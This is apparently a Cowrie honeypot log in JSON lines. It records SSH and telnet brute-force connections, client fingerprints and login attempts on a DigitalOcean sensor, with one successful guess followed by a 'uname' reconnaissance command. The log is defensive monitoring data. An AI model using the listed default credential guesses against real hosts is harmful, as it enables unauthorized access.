{"eventid":"cowrie.session.connect","src_ip":"125.45.146.178","src_port":45878,"dst_ip":"10.17.0.5","dst_port":23,"session":"c5fa5cb85a5e","protocol":"telnet","message":"New connection: 125.45.146.178:45878 (10.17.0.5:23) [session: c5fa5cb85a5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:47:08.440933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:47:10.693006Z","src_ip":"122.168.114.167","session":"855f0d15780c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:47:10.698443Z","src_ip":"122.168.114.167","session":"855f0d15780c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.577621698379517,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:47:22.018427Z","src_ip":"125.45.146.178","session":"c5fa5cb85a5e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40290,"dst_ip":"159.203.135.109","dst_port":22,"session":"5cb6973e71f6","protocol":"ssh","message":"New connection: 159.203.92.129:40290 (159.203.135.109:22) [session: 5cb6973e71f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:47:25.114570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:47:25.120569Z","src_ip":"159.203.92.129","session":"5cb6973e71f6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:47:25.125656Z","src_ip":"159.203.92.129","session":"5cb6973e71f6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appv11","password":"123456","message":"login attempt [appv11/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:47:25.137349Z","src_ip":"159.203.92.129","session":"5cb6973e71f6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:47:26.143573Z","src_ip":"159.203.92.129","session":"5cb6973e71f6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:47:28.084910Z","src_ip":"122.168.114.167","session":"855f0d15780c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:47:36.857352Z","src_ip":"122.168.114.167","session":"855f0d15780c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:47:36.860278Z","src_ip":"122.168.114.167","session":"855f0d15780c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"4.6","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:47:41.457217Z","src_ip":"122.168.114.167","session":"855f0d15780c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"36.1","message":"Connection lost after 36.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:47:41.461768Z","src_ip":"122.168.114.167","session":"855f0d15780c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":52330,"dst_ip":"159.203.135.109","dst_port":22,"session":"84d4bf9cf435","protocol":"ssh","message":"New connection: 122.168.114.167:52330 (159.203.135.109:22) [session: 84d4bf9cf435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:47:47.042676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:47:51.034698Z","src_ip":"122.168.114.167","session":"84d4bf9cf435","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:47:51.039085Z","src_ip":"122.168.114.167","session":"84d4bf9cf435","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123456","message":"login attempt [root/Abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:48:10.366654Z","src_ip":"122.168.114.167","session":"84d4bf9cf435","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50184,"dst_ip":"159.203.135.109","dst_port":22,"session":"7948dd37579c","protocol":"ssh","message":"New connection: 159.203.92.129:50184 (159.203.135.109:22) [session: 7948dd37579c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:48:10.905012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:48:10.910846Z","src_ip":"159.203.92.129","session":"7948dd37579c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:48:10.914961Z","src_ip":"159.203.92.129","session":"7948dd37579c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appv11","password":"appv11","message":"login attempt [appv11/appv11] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:48:10.924984Z","src_ip":"159.203.92.129","session":"7948dd37579c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:48:11.932198Z","src_ip":"159.203.92.129","session":"7948dd37579c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"28.9","message":"Connection lost after 28.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:48:15.946864Z","src_ip":"122.168.114.167","session":"84d4bf9cf435","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":54732,"dst_ip":"159.203.135.109","dst_port":22,"session":"f145cda322a9","protocol":"ssh","message":"New connection: 122.168.114.167:54732 (159.203.135.109:22) [session: f145cda322a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:48:30.395710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:48:34.197860Z","src_ip":"122.168.114.167","session":"f145cda322a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:48:34.261764Z","src_ip":"122.168.114.167","session":"f145cda322a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin123","message":"login attempt [root/Admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:48:49.791571Z","src_ip":"122.168.114.167","session":"f145cda322a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.3","message":"Connection lost after 24.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:48:54.742310Z","src_ip":"122.168.114.167","session":"f145cda322a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":38194,"dst_ip":"159.203.135.109","dst_port":22,"session":"ee9b25e7419c","protocol":"ssh","message":"New connection: 159.203.92.129:38194 (159.203.135.109:22) [session: ee9b25e7419c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:48:56.400314Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:48:56.404653Z","src_ip":"159.203.92.129","session":"ee9b25e7419c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:48:56.408656Z","src_ip":"159.203.92.129","session":"ee9b25e7419c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appv9","password":"123456","message":"login attempt [appv9/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:48:56.424167Z","src_ip":"159.203.92.129","session":"ee9b25e7419c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:48:57.430137Z","src_ip":"159.203.92.129","session":"ee9b25e7419c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":57148,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb690b385e75","protocol":"ssh","message":"New connection: 122.168.114.167:57148 (159.203.135.109:22) [session: cb690b385e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:08.858440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:12.826318Z","src_ip":"122.168.114.167","session":"cb690b385e75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:12.829840Z","src_ip":"122.168.114.167","session":"cb690b385e75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.141.79.94","src_port":28224,"dst_ip":"10.17.0.5","dst_port":22,"session":"73cc7c33f3e8","protocol":"ssh","message":"New connection: 36.141.79.94:28224 (10.17.0.5:22) [session: 73cc7c33f3e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:20.506863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:20.511724Z","src_ip":"36.141.79.94","session":"73cc7c33f3e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T09:49:20.759614Z","src_ip":"36.141.79.94","session":"73cc7c33f3e8","protocol":"ssh"}
